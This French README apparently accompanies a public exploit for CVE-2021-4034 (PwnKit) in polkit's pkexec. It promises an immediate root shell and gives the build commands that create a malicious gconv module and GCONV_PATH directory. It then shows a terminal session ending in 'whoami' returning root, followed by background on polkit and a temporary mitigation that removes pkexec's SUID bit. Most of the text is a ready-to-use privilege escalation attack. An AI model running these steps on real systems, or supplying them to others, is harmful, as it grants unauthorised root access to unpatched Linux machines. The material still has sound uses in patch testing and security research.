
Exploit pour CVE-2021-4034 dans polkit pkexec, fournissant un shell root via une élévation de privilèges SUID. Inclut le code source et les instructions de compilation.
Exploit d'élévation de privilèges polkit
Exécutez simplement make, ./cve-2021-4034 et profitez de votre shell root.
L'avis original de mon équipe Qualys ici
Si l'exploit fonctionne, vous obtiendrez un shell root immédiatement :
kali@user:~/CVE-2021-4034$ make
cc -Wall --shared -fPIC -o pwnkit.so pwnkit.c
cc -Wall cve-2021-4034.c -o cve-2021-4034
echo "module UTF-8// PWNKIT// pwnkit 1" > gconv-modules
mkdir -p GCONV_PATH=.
cp /usr/bin/true GCONV_PATH=./pwnkit.so:.
kali@user:~/CVE-2021-4034$ ./cve-2021-4034
# whoami
root
# exit
La mise à jour de polkit sur la plupart des systèmes corrigera l'exploit, vous obtiendrez donc l'utilisation et le programme se terminera :
kali@user:~/CVE-2021-4034$ ./cve-2021-4034
pkexec --version |
--help |
--disable-internal-agent |
[--user username] PROGRAM [ARGUMENTS...]
See the pkexec manual page for more details.
kali@user:~/CVE-2021-4034$
Polkit (anciennement PolicyKit) est un composant permettant de contrôler les privilèges à l'échelle du système dans les systèmes d'exploitation de type Unix. Il fournit un moyen organisé pour les processus non privilégiés de communiquer avec les processus privilégiés. Il est également possible d'utiliser polkit pour exécuter des commandes avec des privilèges élevés à l'aide de la commande pkexec suivie de la commande à exécuter (avec la permission root).
Si aucun correctif n'est disponible pour votre système d'exploitation, vous pouvez supprimer le bit SUID de pkexec comme mesure d'atténuation temporaire.
# chmod 0755 /usr/bin/pkexec